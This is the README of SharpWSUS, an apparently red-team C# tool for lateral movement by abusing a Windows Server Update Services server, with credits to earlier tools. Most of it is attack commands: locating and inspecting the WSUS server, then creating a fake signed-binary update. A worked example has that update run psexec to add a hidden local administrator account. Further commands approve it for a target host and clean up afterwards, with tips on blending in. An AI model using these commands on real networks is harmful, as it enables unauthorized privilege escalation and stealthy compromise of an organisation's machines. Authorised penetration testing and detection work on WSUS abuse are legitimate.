SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection.
Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility.
- https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS
- https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS
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Phil Keeble @ Nettitude Red Team
Commands listed below have optional parameters in <>.
Locate the WSUS server:
SharpWSUS.exe locate
Inspect the WSUS server, enumerating clients, servers and existing groups:
SharpWSUS.exe inspect
Create an update (NOTE: The payload has to be a windows signed binary):
SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]>
Approve an update:
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]>
Check status of an update:
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]
Delete update and clean up groups added:
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup>
sharpwsus locate
sharpwsus inspect
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"
sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local
sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
- Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement.
- The metadata on the create command is not needed, but is useful for blending in to the environment.
- If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not)